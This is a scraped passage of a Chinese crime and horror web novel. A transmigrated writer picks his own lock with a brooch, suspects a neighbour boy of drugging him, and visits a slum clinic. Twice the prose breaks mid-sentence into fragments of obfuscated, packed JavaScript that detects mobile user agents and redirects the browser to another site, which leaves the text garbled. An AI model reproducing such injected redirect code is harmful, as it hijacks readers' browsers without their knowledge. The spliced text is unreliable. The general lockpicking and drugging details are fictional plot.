“卫极画。”秦惊浪的声音就在此时响起,打破了车内略显尴尬的空气。 卫极画动作一滞,以为自己出洋相被看到了,如临大敌地转回头,立刻转身应道:“嗯?”声音里带着不易察觉的紧绷。 “那个…卫极画……”秦惊浪握着方向盘,目视前方崎岖的路面,喉结不自然的滚动了一下,似乎接下来的话难以启齿,语气听起来很迟疑,甚至流露出一丝犹豫,“……我、我有事想问你。” 卫极画闻言松了一口气。 哦,没有发现他出洋相啊?那就好。 但…秦惊浪是警察,不过问个话而已,咋这么磕磕绊绊不好意思?难道是什么私人问题? “问吧。”卫极画随手关上遮光板的镜子,端正些坐直了身体,语气却刻意放得平淡疏离,“警官问话,作为公民,自然是要配合。” 多说多错,卫极画没精力在大脑疲倦迟钝的情况下回答私人问题,费尽心思应付各种的试探。 假如秦惊浪用警察的身份询问他,他可以回答。但他只回答灰雨公寓杀人案和云海会所案件相关的问题,多余的他一个字也不会说。 可惜秦惊浪无愧于陈永年警官给的“傻小子”评价,完全没听出卫极画的言外之意。听卫极画说“配合”,紧绷的肩膀微不可查放松了些,真以为卫极画会知无不言。 像只下雨天被关在屋子里追着尾巴打转儿的大型犬,秦惊浪想问的问题在心里转了一路,转得坐立不安。 他做好心理建设,视线牢牢锁在前方缓慢深入、弯折狭窄的不规则水泥路上,竭力伪装成随意闲聊的口吻问卫极画: “根据你的供词,你是被那个现在还没找到人影的‘花姐’骗进云海的。发现不对劲后,自己找机会逃了出来……然后,你听到我被他们抓住的消息,就又折返回来,依靠偶然得知的信息,伪装王海龙恐惧的一个恐怖/组织成员,专门回云海来救我。” 秦惊浪铺垫着说到这里,舔了舔有些干涩的嘴唇,声音里充满了真实的困惑,还有一丝不易察觉的、被触动后的无措:“我不明白,卫极画。我们……我们之前也就在灰雨公寓楼下见过一次面。你为什么……要冒那么大的风险回头救我?那时候……自己逃走才是最理智安全的做法吧。” “哈…”卫极画轻笑了一声,手肘撑着车窗,没第一时间回答,而是等秦惊浪继续说完。 秦惊浪稍微偏头,用眼角的余光快速扫了故意保持安静、认真倾听的卫极画一眼,对上卫极画的目光,又立刻不好意思地转回头盯着路面。 他还是忍不住补充了那个他自己都觉得太过单薄,却又唯一能想到的理由:“真的……就只是因为,我当时借给你的那把伞吗?” “怎么?秦警官要感谢我?”卫极画勾起唇角,一直倦怠微阖的眼睛彻底睁开,“假如要谢我…就帮我个忙吧?” “什、什么忙?” “审讯室那位圆脸的年轻警官,叫周玉,秦警官认识吗?我想要他的电话号码。”卫极画微笑说。 “啊?认识倒是认识……但是,你要他电话号码干什么……” 秦惊浪欲言又止,还有些委屈,惯常梳在脑后神气反翘的小卷毛都蔫下来了,“按理来说是我们更熟吧…我以为我们是朋友了,怎么只要他的,不要我的吗……?” 卫极画置若罔闻。 秦惊浪这种笨蛋警犬的电话号码要来能干什么? 要周玉的电话,当然是因为人家周玉警官能打。 现在陈永年和周玉明显已经因为灰雨公寓和云海会所的案件盯上了卫极画。这是劣势,也是优势。 在卫极画的设定中,周玉的武力值能够排到全书前三,于剧团那些变态神经病当中都能不落下风。 并且,假如没有经验老道的师傅陈永年在一旁指示,年轻的小周警官是非常好忽悠的。 要是给想找机会抓住他的小周警官打电话,一句话就能把人单独哄出来。 卫极画手中的牌不多,自然要想方设法把能利用的东西都弄到手。 到时候有什么危险,都可以利用小周警官解决。 至于秦惊浪这种笨蛋警犬,给卫极画提供完小周警官的电话后,只能起到一个造型上的作用。 ——简称,只能摆着看。 成功在秦惊浪委屈的目光中拿到周玉的电话,卫极画连路上的监控点位也不找了,立刻将电话号码默念记住。 其实也没必要去看监控的。 旧城区鱼龙混杂,什么三教九流的人都有,监控很少。每次安了监控,总会被这里的居民偷偷破坏掉。无论执法局怎么抓,怎么警告都不管用。 久而久之,旧城区也就变成了众所周知的灰色地带。欠了赌债的赌徒、犯了罪的失信人员、身份异常的偷渡者、没爹没娘的孤儿……更多的是做廉价皮/肉/生意的。 穿过外围,往深处去,到“主角”居住的弄沅巷外,可以看到一整条亮着粉紫灯光的发廊或老式歌舞厅。发廊顶端的楼房上拉了密密麻麻的私接电线,纵横交错分不清哪根是哪根,蛛网般压抑地把天空都挡了个干净,日夜不分。 在这片灰暗之下,穿着亮片短裙、头发染得五颜六色的“野鸳”在街边门口抽着烟等客,男男女女、形形色色、各种不同年龄段都有。头顶接触不良的暧昧霓虹灯牌打在他们浓艳俗气的浓妆上,偶尔闪烁,照不出脸庞的真实模样。 南刻市明面上是不允许做皮/肉/生意的,但各有各的不容易。 这片廉价红灯区,虽有很多为此而来的嫖/客放纵,却也养活了许多人。自然就“民不举,官不咎”。 刺鼻的劣质香水味混着二手烟、嫖/客的汗臭、古早游戏厅街机的击杀音效,交织出这里的众生百态。 “主角”所居住的弄浣巷是生活区,要清静些,巷道上的门市摊贩会做些小生意。弄浣巷56号则是一个总共八层的步梯房,每层楼住两户,大概是拿几十年前附近化工厂家属院改的。 不过卫极画并不清楚自己该住哪一楼,哪一户。 “我送你进去吗?”秦惊浪问。 “不用了。”卫极画怕待会儿被看出破绽,找了个理由敷衍,“车开不进去,这边手脚不干净的人多,陌生车辆到这儿停一会儿就得被人撬掉轮胎。” 他轻巧的跳下车,潇洒挥了挥手,“伞还你了。” 秦惊浪低头,那把绘有蓝色浪花的折叠伞静静的放在副驾驶座位上。 再抬头,卫极画的背影已经消失在细密的雨雾与人群中。 “卫极画!你在云海救我的那次已经算还过伞了!”秦将浪把手做喇叭状大声喊。 雨雾中似乎传来了低低的笑声,“这把伞是你母亲在出门时硬塞给你的,回去谢谢她吧。” 噢……秦惊浪后知后觉,原来卫极画还记得他当初说这把伞是他妈在他出门时硬塞给他的。 秦惊浪觉得,卫极画真是一个很奇怪的人。 明明在云海会所为这把伞救了他一条命,现在却就这样突兀的离开了,除了要走周玉电话号码以外,至今没有暴露任何目的,如自然的潮起潮落,什么都不在乎。 究竟是另一场算计的开端?还是真的别无所求呢? “卫极画……”他神思不属地久久望着卫极画离开的方向,“你到底想要什么呢?” 如果卫极画能听到秦惊浪的疑问,他一定会回答:他什么都不想要,他只想好好睡一觉。 此时的卫极画正忧郁地站在居民楼的楼道底层看雨,着力彰显自己的忧郁破碎和故事感,寄希望于赶紧有一个认识他,又爱多管闲事的人因为好奇心来和他搭话。 是的,由于不知道自己具体该住哪一户,又不太擅长和人交流,卫极画用了一个很笨的方法。 那就是——等! 这正是他刚才在车上吃了一嘴灰,还要注意形象照镜子的原因。 卫极画提前就想好了这个自以为无比精妙的办法! 既然他顶替了“主角”的身份,那么认识“主角”的各位邻居肯定也认识他,只要有人来和他搭话,他稍微一套,就能知道自己住哪。 但卫极画忽略了一件事。 ——这里是红灯区附近。 而他,还穿着身一看就很昂贵的高级男公关打扮! 没一会儿,就有一个圆脸络腮胡的肌肉大汉被吸引了注意力,“你也是站街的?感觉档次跟周围的完全不一样,怎么站这儿啊?是被其他人嫉妒排挤了吗?多少钱一晚?” “不卖。”卫极画面无表情,“我站这纯挡道,挪一次200,挪两次500。” 圆脸络腮胡被卫极画的冷漠打击得心脏砰砰跳,心中狗熊乱撞跳起了踢踏舞,扭扭捏捏夹着嗓子想往卫极画怀里扑,“哥哥你好好看、好幽默哦,我是学生,可不可以便宜点?我和那些馋你身子的人不一样,我可以陪你聊一聊人生,听你讲述你破碎的原生家庭,再和你谈论星空和哲学……” “我阳痿。” 卫极画冷傲退基佬,面不改色,铿锵有力,表达立场,免惹麻烦。 明明说自己阳痿,却攻得让人汗毛倒竖,狂得让人触目惊心。圆脸络腮胡完全被迷住了,迷得五迷三道,鬼迷日眼,神魂颠倒,握着拳头捏在胸前小声尖叫。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16916260|192492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 卫极画真没精力和这种人闹了,想踹这玩意儿一脚,又怕这玩意儿爽到。皱起眉,正欲开口,一位少年忽然不知道从哪儿钻出来,亲昵地抱住了他的手臂。 黑发蓝眼的少年眉眼弯弯,踮起脚尖偏头在倚着卫极画肩膀上,笑眯眯地挽着卫极画对圆脸络腮胡宣誓主权,“不好意思,他已经是我的了。” 卫极画:“?” …… 经历一番波折,卫极画最终还是逃脱了圆脸络腮胡的纠缠。原来那位宣誓主权的少年是住在他隔壁的邻居,刚好下楼买菜,看见他在楼下才过来为他解围。 在好心的邻居少年去买菜之前,卫极画幸运地从少年那里得到了自己的住址——八层2号。 八层是最顶楼,一层楼两个住户,旁边正好就是邻居少年。 和好心的邻居少年道别后,卫极画哼哧哼哧开始爬楼梯。 老旧的步梯房当然没有电梯这种东西,楼道狭窄昏暗,地上零散堆着瘪掉的易拉罐和未清理的垃圾。 要一个四体不勤的废宅小说家在严重疲倦的情况下爬楼梯还是太困难了,卫极画扶着晕眩刺痛的脑袋,半死不活爬完楼,站在自己家门前喘了两口气避免猝死。 8楼,2号。就是这里。 和位于市中心的灰雨公寓比起来,这里的环境可以说是恶劣至极,说下水道都是抬举。墙壁布满脏污鞋印,边缘墙皮脱落,裸露出灰色的水泥墙面和锈蚀渗水的管道。 看着很有年代感的防盗门上被贴满了[□□]、[通下水道]、[找/小/姐]、[高利/借/贷]、[家电维修]、[开锁]之类花花绿绿的小广告,在黑暗中很显眼。 卫极画用脚尖敲了敲地面,回音在楼道间响彻。好在头顶的声控灯没有完全老化,昏黄灯泡被声音惊醒,再次亮了起来。 现在,新的问题来了。 ——他没有钥匙。 卫极画掏了一会儿兜,只摸到了从花姐皮夹里抽的几张现金、灰雨公寓案发现场顺的水果刀、驯兽师的胸针。 他看了看门上标注着[开锁]的广告电话号码,因为没有手机而作罢,选择自食其力。回忆自己曾经看过的各种工具书,把驯兽师的胸针捅进钥匙孔。 开锁的技能,卫极画为了写小说的真实性,还是学过一点的。大多数家用常见锁都是弹子锁,当正确的钥匙插入时,锁芯上下两排长度不一的金属弹子会对齐在同一条分界线上,此时即可转动锁芯。 他只需要用胸针代替钥匙,凭借手感判断方位,将所有弹子顶到正确的位置保持住就可以了。 卫极画将弯曲的胸针从锁孔上部插入,在持续施加缓慢旋转力的同时,用弯钩从前至后轻轻扫过、点探每一颗弹子,仔细体会手上的触感与声音。 寂静中,听觉被无限放大,金属刮擦的沙沙声一下、两下。 咔哒—— 极其轻微,但手感清晰,卫极画扭动胸针。 门开了。 还行,只用了八秒钟,没有他当初为了模拟犯罪专门买了个保险箱开锁时难。 卫极画甩甩手,拉开了因门轴老化生锈晦涩刺耳的门。 门内的屋子不大,可以称得上是家徒四壁。 客厅的布艺沙发早就勾线破了几个洞,灰扑扑露出泡沫和弹簧。微弱的天光从装了防盗网的窗户透进来,可以看到客厅缺了一个角的木桌子与满是油污的厨房。 除此之外,只有一个关着门的卧室。 那个卧室属于那位恶意调换“主角”的保姆,在这里,她以母亲的身份占据了卧室。 而“主角”住在阳台隔出来的小隔间。 那里放了一张狭窄的钢丝弹簧床,上面铺着的床单破旧泛白,却洗得很干净。床底下则堆满了卷子和二手淘来的练习册、在学校获得过的奖状。 卫极画没有精力在这种时候过多探寻了,他太累了,确认家里没有什么其他危险,锁上门,蜷缩着长腿往“主角”的床上一躺,就闭上了眼睛。 其实人在太久没有睡眠的时候,大脑会一直处于疼痛难耐又发热的状态,思维反而更难静下来,明知道自己很疲惫,闭上眼睛,短时间之内仍旧会因为疼痛和杂乱的思维睡不着。 生理已经到达极限,精神却还在被迫高强度运转。这种肉身与意志的撕裂感实在难熬。 卫极画闭上眼睛,眼皮和脑子内部随着太阳穴一跳一跳地隐痛,心脏也跳得咚咚响,好像马上就要猝死。但他的思绪就是控制不住,一会儿思考自己为什么会穿越来这个世界,一会儿又想自己该怎么去应对剧团和警方,还有季氏财团的报复。 这些信息和压力就像是沉睡的电路,足以支撑一个庞大的阴谋体系,以他为中心,于他周身铺展开,等待后续通电点亮,就会彻底引爆。 渐渐的,不知想了多久,卫极画终于在煎熬中睡着了。 卫极画没有辨别时间流逝的参照物,不知道自己睡了多久。甚至分不清自己究竟是睡着还是短暂昏死过去。 他只知道,再次醒来时,刚刚放亮的天已经黑透了。 “咚咚咚” “咚咚咚” 门外传来了接连不断的敲门声,卫极画正是被这敲门声吵醒。 他睡醒之后脑袋还是很痛,浑身难受,挣扎着从主角的小床上爬起来,抽出一直随身携带的水果刀悄无声息靠近玄关,透过大门的猫眼看向外面。 ——是隔壁的邻居少年。 13.邻居 卫极画扶着胀痛的额角,权衡之下打开了门。 老旧门轴晦涩刺耳,呕哑嘲哳哀鸣,楼道顶端的声控灯半熄不熄,昏黄光亮顽强照映这片小小的平台。 卫极画从黑漆漆的屋内探出半边身子,在昏暗灯光下半垂着眼。他的脸色实在苍白,眸影浓稠,眉目疏冷,毫无生气,仿若阴森鬼物。 邻居少年第一时间没有看到卫极画藏在身后的刀,有些担忧地仰头看他,“卫哥,你还好吗?昨天在楼下碰到你之后,我就一直没见着你,没看到你出门,家里灯也没开。” 昨天?卫极画慢吞吞转动眼珠,由上至下扫视邻居少年,发现对方出门时的打扮换成了一身看起来很宽松乖巧的毛衣。 意思就是说他昏睡了一天一夜? “抱歉,只是有些累。”卫极画摸不清主角与邻居少年的关系,顺着邻居少年亲近的态度,强撑着扯动面部肌肉,露出一个温和的笑来,“让你担心了,我没事。” 他听到自己的声音发哑,没多少说服力。喉咙也很疼。 邻居少年很敏锐,“卫哥?你病了吗?” 病了? 经提醒,卫极画发现自己好像真病了,他浑身提不起一点力气,还有点发热。 是因为刚穿越过来时淋了雨,精神压力太大,身体又太疲倦,所以病了吗? 卫极画苦中作乐想:他果然是个废宅小说家,只有必要时刻才能在肾上腺素的刺激下撑一会,松懈下来立刻就废了。 “卫哥,你昨天是不是在外面淋了雨呀?感觉你这个不是普通感冒。南刻市过段时间要开始市长竞选,作为候选人之一的金议员为了提高民众认同率,把我们旧城区附近那个废弃的化工厂买下来了,听说在重新建设,所以这一片的雨水大概有污染。” 什么!化工厂!污染?! 卫极画闻言差点没吓死,昏昏沉沉的脑袋都瞬间吓清醒了。 到底是个什么运气?一穿越过来就是凶杀现场,逃出来撞上职业杀手驯兽师,打工下海当男公关误入贼窝,刚出贼窝又进审讯室,从审讯室出来,好不容易回家松懈了一下,淋的雨居然还是污染的! 这鬼世界真把他当倒霉熊玩?! 淋了污染的雨生病倒是其次,难办的问题在于会不会掉头发。 卫极画一点也不想“聪明绝顶”。 得知如此噩耗,他连上吊的力气都没了,完全没精力再和邻居少年聊天。但作为对外必须情绪稳定的靠谱成年人,卫极画仍然保持了他的克制与得体,“我待会买点药就好了,你回去吧。” “那怎么能行?”邻居少年圆溜溜的猫眼瞬间瞪大,深蓝色的眼珠在暗处竟然与卫极画的瞳色有些相似。 “卫哥你一直很照顾我,我怎么能放着你不管?” 邻居少年啪一声打开卫极画家里的灯,把卫极画往明亮的屋里推,“快回去躺着,我给你熬点粥。” 等卫极画反应过来的时候,自己已经被推到屋里破旧的布艺沙发上坐着了,面前缺了一条腿的木桌上摆着从药柜里找出来的感冒药、抗污染药物和温水,而邻居少年登堂入室,熟练地走进厨房淘米熬粥。 看来邻居少年真的和“主角”很熟。这么不见外。卫极画都不知道“主角”家里还有抗污染药,邻居少年居然一下子就找着了。 就是不清楚邻居少年的名字,可能是个漏洞,待会得套一下话。 卫极画扶着昏胀的额头,费力支撑思维在仿若陷入泥沼的大脑中不被沉没。 他看不出桌上的药片和热水有什么问题,都是有防伪标识和生产准许编号的密封药片,还是从主角自己家里找出来的。水也是他看着邻居少年倒的。 药和水没有问题,又病得实在难受,无法思考,卫极画就坐在沙发上把药吃了。 药物中似乎有安眠成分,他吃了药眼皮沉重,不知不觉就睡了过去。再次醒来,屋子里有一股香气。 桌上没吃完的药和空掉的水杯不知何时被收走了,取而代之的是一碗放温的青菜瘦肉粥。 卫极画把粥喝了,感觉药物起效,身体舒服了些。抬头一看,邻居少年还在厨房里忙活。 客人到家里来帮忙做饭,主人居然在客厅睡着了。 正常情况下来说,以卫极画面对陌生人时永远克制得体的偶像包袱,再怎么也干不出来这种失礼的事。 难道真的是因为他太困了? 卫极画坐立不安,像霓虹电影里无能的丈夫一样心虚地在厨房门口来回踱步,试图找点自己能帮忙的事。 邻居少年背对着他,在熬鲫鱼汤。 用猪油把鲫鱼的两面煎至焦香,注入适量滚烫热水小火慢熬,让油脂乳化,才能将汤熬成奶白色。 卫极画到厨房门口的时候,汤已经快熬好了。 为了证明自己不是毫无作用,卫极画赶紧帮忙盛汤,结果半天没找着碗。 邻居少年抬手从隐藏的碗柜中把碗拿出来,扭头幽幽问,“你喝鲫鱼汤吗?卫哥?” 喝不喝鲫鱼汤? 一个很正常的问题,看似是询问想不想喝,或者过不过敏。但配合上卫极画没找着碗的笨拙,这句话就是个试探。稍不注意就会落入言语陷阱。 除开不做饭以外,什么人会在自己家的厨房找不到碗? ——鸠占鹊巢的人。 卫极画之前因为脑袋病得太昏沉,说他自己会去买药。但邻居少年听了卫极画这句话,明面上说不能放着卫极画不管,实际上却借着这个理由进了“主角”家,打开药柜确认还有药。 到这个阶段,只是普通的怀疑。因为有可能是“卫极画”忘记家里有药。 鲫鱼汤才是真正的试探。 邻居少年明明已经熬好了粥,怎么会专门去买鲫鱼再熬一道鲫鱼汤呢? 吃过药后,头脑的昏痛消减了许多,卫极画思维冷静。 他清楚记得,自己穿越到灰雨公寓凶杀现场时,餐桌上摆满了海鲜大餐,地上却有一碗被掀翻的奶白色汤汁。 那时候在黑暗中看不真切,卫极画又疲于奔命,没有仔细检查这些细节。 但,根据在审讯室里听陈永年说灰雨公寓死了两个人,饭桌上却有三双碗筷的线索,“主角”又杀了“季景”和“季之羽”,多出来的那双碗筷很大概率属于“主角”。 所以那碗被打翻的汤就是鲫鱼汤! 鲫鱼汤是“主角”喜欢的东西! “季景”请主角吃饭是对主角心有愧疚。 那位名义上的亲生父亲,为了养子“季之羽”,不愿意认回主角,却仍想让主角成为家的一员,专门熬了“主角”喜欢的鲫鱼汤。 朴素的鲫鱼汤在一堆“季之羽”喜欢的昂贵海鲜中格格不入。 而一无所知、却又占据了主角人生的“季之羽”,开门见到主角来后,高高兴兴的迎接“主角”这个朋友,非常自豪地向朋友炫耀父亲的手艺,显得有些……恶心。 在阴暗缺爱的“主角”看来,这绝对是一场高高在上的羞辱。 所以,灰雨公寓的两父子才会被杀死,作为卫极画小说开端的场景。 此时,剧团才让驯兽师掺和进来,给穿越过来顶替了“主角”的卫极画发送考核短信。 就是灰雨公寓杀人案的真相! 邻居少年肯定是察觉到卫极画不是原本的“主角”,故意试探。 试想,一个和你同龄的邻居哥哥,生活困苦、被好赌的“母亲”磋磨,却一直很关照你。 某一天,这位邻居哥哥不见了。 取而代之的是一个比邻居哥哥年纪大了几岁的陌生人。 一个无声无形的怪物,在所有人都不知道的情况下顶替了一个你熟悉的人,潜伏在你身边。 你会不会感觉毛骨悚然? 世界修复了所有的漏洞,所有记录和档案都变成了那个陌生人的脸和名字,所有人都不会对这个陌生人的年龄、身份产生疑问。就连你的记忆也被覆盖扭曲了,你甚至不记得邻居哥哥叫什么名字。 你望着那个陌生人,理智告诉你,那就是你的邻居哥哥,但你的心中,还是不由得生出一种诡异的怪异感,忍不住想冒着生命的危险去试探。 ……好感人啊,年轻人就是讲义气。 卫极画无奈叹息,灰蓝眼眸于灯光下无比透彻,锐利上扬的冷峻眉眼也柔和了温度。 他弯下腰,在邻居少年惊愕的目光中揉了揉少年毛茸茸的脑袋,用平等高度直视少年的眼睛。 ——人类其实很少会在没有目的性的情况下主动直视另一个人。 通过无形的视线去操纵、去施压、去确认、去说服。这对于人与人的距离来说过分僭越,存在感太强。 凝视承载着存在的重量,当凝视被接纳,存在便被确认。 卫极画并不是为了说服什么,他眼中没有压迫感,只有对面前少年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929272|192492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平等的、分外慎重的静谧端肃。 在暗处,他的瞳光分明是如无光之海般阴森的灰蓝墨色,仿若酝酿着阴云与迫近的风暴。 如今透过光线,才叫人发现,原来他那双灰蓝的眼眸竟然有那样浓郁明亮的色彩,光华流动间,像冷萃宝石般在这极致的画作上涂抹出璀璨夺目的斑斓。 邻居少年猝不及防被晃了眼睛,感觉被卫极画注视的皮肤好似被火舌舔过一样滚烫,受惊流浪猫般跳起来。 卫极画摁住小孩儿,险之又险避免这少年人手中端着的鲫鱼汤撒出来。 “抱歉,”他慎重到,“我知道你觉得有些事情很奇怪,但我现在也无法与你详细解释。” “…什、什么?”邻居少年被卫极画的直白吓着了。 “是向你道歉。” 卫极画并未停顿,逐字逐句说,“我向你保证,假若有朝一日,我再次获得改变这一切的能力,一定会送你熟悉的人回来。” 不是谎言,唯有坦然。 坦然相告,訇然中开,寂寥的客厅久久没有回响。 卫极画却毫不在意,半蹲下身子,温和而诚恳地含笑朝邻居少年伸出一只手,“重新认识一下好吗?我是卫极画。能有幸知道你的名字吗?” 如先前秦惊浪的评价一样,在他人眼中,卫极画是个很奇怪的人。难以捉摸,又格格不入。 就像……灰雨公寓那一桌子海鲜中,被单独掀翻的鲫鱼汤一样格格不入。 邻居少年站在原地呆呆的望着卫极画,先前那些试探和恶意全溜走了,尖瘦的下巴缩进毛衣领口,耳朵尖儿也红,嘴唇抿得紧紧的。 他没想到卫极画会这么直接地承认“鸠占鹊巢”这件事,无措地窥着卫极画向他伸出的手,像看到什么难以理解又不可思议的东西,许久未动,卫极画却没有显现出半分不耐,仅仅只是用那双灰蓝眼眸温和地看着他,等待他的回答。 “我、我……”邻居少年顿了顿,终于把满是老茧和伤痕手放在卫极画的手心,轻声道,“我是楚决。” “处决?”卫极画将这两个字咬在舌尖轻缓地滚了一圈,分明是揶揄的口吻,入耳听来却莫名缱绻旖旎,“处决谁?” “是楚决……算了…你说叫处决就叫处决吧。” 邻居少年别过脸,“随便你怎么叫。” “哈…逗你玩的。”卫极画喉腔里溢出短促的低笑,随手接过少年手中那碗鲫鱼汤一饮而尽,笑眯眯地再次揉了揉少年的脑袋,朝少年眨眨眼,“熬得很好喝。谢谢你,楚决。” 少年憋了半天,没憋出怎么回答,转身跑了。 防盗门的老化门轴再次发出哑响,终于关闭。 卫极画脸上的笑容消失。 他静静看着玄关那扇关闭的防盗门,许久,转身进入厨房,食指按压舌根,悄无声息地把刚才喝进去的鲫鱼汤催吐出来。 他根本不可能仅仅因为感冒药中含有安眠作用就在有陌生人的情况下睡着。 药里被加了东西。 还有,刚才,他从自称“楚决”的邻居少年身上闻到了一股淡淡的血腥味。 大概是昨天的血,换了衣服,被掩盖得很好,让人难以确定。于是卫极画借机握了少年的手。 少年指甲缝里有没有清洗干净的血迹,手上还有许多怪异的老茧和伤痕。除开食指拿笔的笔茧,其他大多数是在虎口和掌心边缘。 ——那是经常拿刀才会磨出来的。 南刻市还真是遍地杀人魔啊,稍不注意就会被干掉。不愧是凶杀恐怖小说。 总之,暂时安全了。 作为阿南刻最有天赋的传奇男公关,卫极画没有任何技巧,全凭真诚二字,加上爱撒点小谎的演技,真真假假,成功化解危险。 现在,最大的问题是弄清楚邻居少年在他昏迷的时候做了什么。 报警肯定不行,明面上邻居少年并没有对他做什么,他也没有邻居少年杀人的证据。 卫极画觉得就算自己报警,执法局派人来要抓的也是他。 毕竟他刚从执法局出来,让一众警官恨得牙痒痒,之前负责审讯他的陈永年警官看起来是个固执的,肯定会借着询问案件的机会拘留他。 另外,如果报警了没有抓到邻居少年,邻居少年得知是他报的警以后绝对会跟他翻脸。 假装什么都不知道,反而能维持表面平静。 看来只能自己想办法了。 14.药物 [早上好——阿南刻!] [亲爱的罪恶之都,命运之城!这里是阿南刻中央电视台新闻,我是你们的朋友卡尔!] 南刻市,旧城区。 偏僻的小诊所内,微微花屏的壁挂电视调整至新闻72台,主持人卡尔穿着粉色的西装,妆容浮夸,手舞足蹈地陶醉在舞台上。 他中气十足的激昂声音兴奋地传了出来: [震惊吧!市民们!位于市中心的云海会所发生了一起惨无人道的恶性谋杀事件!] [噢,那可真是个纸醉金迷的地方,半个晚上,整整死了103个人!] [对于凶手来说,优雅、高效,兴许是一场美妙的艺术?在阿南刻也不失为一段佳话!] [总之,凶手还未落网,诸位亲爱的市民,别怪我没提醒——都给我小心你们的脑袋!说不定……死神就坐在你旁边呢?] 这位新闻主持人“卡尔”先生原先是个出名的搞笑艺人。因为谋杀入狱,后来刑满释放才回到电视台做了新闻主持人。 他的新闻极具煽动性,语气夸张,活泼有趣,每天哪里死了人,都是值得等待的乐子。向来是阿南刻市最受欢迎的节目。 旧城区小诊所内,听着新闻的居民们都被他逗得哈哈大笑。 一个“野鸳”抽着烟,扭头和旁边的青年搭话,“你说这个好不好笑?他竟然说凶手就坐在我们身边!” 卫极画闻言,尴尬一笑,“哈哈,对呀,凶手怎么可能坐在你身边呢?这也太巧了。” “就是嘛,”野鸳赞同道,“我们旧城区已经够乱了,怎么可能什么凶手都往我们旧城区跑?” 她指了指电视上穿着粉西装的主持人卡尔,努嘴,“喏,你看,又在说我们旧城区。” [要我说,旧城区可不得了,为了不久后的市长选举,我们伟大的金议员把旧城区那座废弃的化工厂都给自费买下来了!] [民意!至高民意!民意高于一切!一切都是为了民意和选票!] [提前为他庆贺吧!金议员坦荡的仕途就像随着雨水从天上坠下来的污染一样理所应当!] [不过旧城区的居民们要小心了!不光是这个,听说你们那儿最近还有多名女性失踪,尸体皆被残忍开膛遗弃?] [哈哈,粗糙的艺术!] [听我一句劝,朋友,注意安全,夜间减少出门,避免独自出行。就当是为了我好吗?在这座城市努力活久一点儿吧!我真喜欢每天工作都直播你们千奇百怪的死相,个个都超乎我的想象!] [好了好了,话不多说,明天见!今日的美味犯罪时间结束——我是你们的朋友卡尔!] 卫极画眨眨眼睛,看着新闻结束,电视屏幕变成一家医药公司的推销广告。 那家医药公司的标志有些眼熟,似乎是他之前吃的感冒药和抗污染药的制造商? 看到关键信息,卫极画终于回想起了自己来诊所的目的,赶紧试图和医生交流。 “医生,我真没事吗?我好像淋了受污染的雨,还被人下了不知道什么效果的药。” 他眼巴巴的揣着验血报告,“还有,那个受污染的雨淋了不会秃头吧?我脸上好像也淋到了,会不会毁容啊?” 诊所人多嘈杂,卫极画的声音被挤出了人群,医生没听到。 旁边椅子上坐着排队的“野鸳”倒是听见了,看卫极画淋个雨都这么娇气,发出咯咯娇笑。仿若嘲笑城巴佬大惊小怪没见识。 其实卫极画本来是打算到正经医院去检查邻居少年到底给他吃了什么药的。但他把家里都翻遍了也没找到“主角”的身份证件。 钱和手机、银行卡、存折自然也是没有的,整个家里干干净净,强盗来了都会同情。 去医院需要身份证件,还要打车过去,做检查更是要花钱。卫极画手头只有从花姐皮夹里拿的那几张现金,消耗不起。可放着不管他又心慌。 卫极画惜命,总怕自己嘎巴一声就死了,只能来旧城区的小诊所做检查,求个心安。 为了防止被邻居少年碰见,他还特地走远了些。 幸运的是,南刻市科技发达,旧城区最近好像还在搞什么“医疗保障慈善计划”,随便一个偏僻诊所里居然还有化验血液的高科技机器。 听医生说,假如没有正经工作,看病就不收钱,所有的花销都会记档,每个月统一上报,由“医疗保障慈善计划”委员会支付。 这对于贫穷的卫极画来说很友好。 除秦惊浪借伞以外,卫极画第二次觉得这鬼世界对他还不错。 就是环境确实有些乌烟瘴气。 这座旧城区深处的偏僻诊所很小,是那种老式的、仿若谍战片里的老土装修。地面贴着灰扑扑的花瓷砖,墙面下半截刷了层绿油漆,桌子上的台灯是很有特务风的绿台灯,叫人梦回特高课。 周围更是烟雾缭绕,没一个人觉得这是诊所,满屋子二手烟味,长相凶狠的混混和帮派成员无组织、无纪律,露出的手臂纹身描龙画虎。 还有“野鸳”和客人谈好了价钱,直接就在诊所里找个角落脱/衣服/做生意,叫声一浪比一浪高,把电视广告的声音都压下去了。 这些人都是和卫极画一样因为“医疗保障慈善计划”不收钱,才来捡便宜的。 卫极画坐在这儿,恍惚觉得自己好像坐在什么非法/据/点。 他又忧郁了起来。 旁边没事干的“野鸳”上上下下审视卫极画,捂着嘴和同伴咬耳朵,窃窃私语,小声蛐蛐,也不知道是在蛐蛐些什么。 卫极画恼怒瞪他们,这群男男女女也不收敛,时不时笑着互相推促往卫极画怀里扑,故意调情似的把烟气吐卫极画脸上。 劣质烟草燃烧的气味很呛人,二手烟的尼古丁和焦油更是存在感强烈。卫极画忍无可忍,站起身,不坐这儿了。 是的,他平时就是这么好欺负。 惹毛了他,他只会毛茸茸的走开。如果因此看扁他也没关系,他会扁扁的走开。 不过卫极画长得太高了,站起身就挡了诊所门口大半的光。 现在是白天,为了省电,诊所里没开灯。 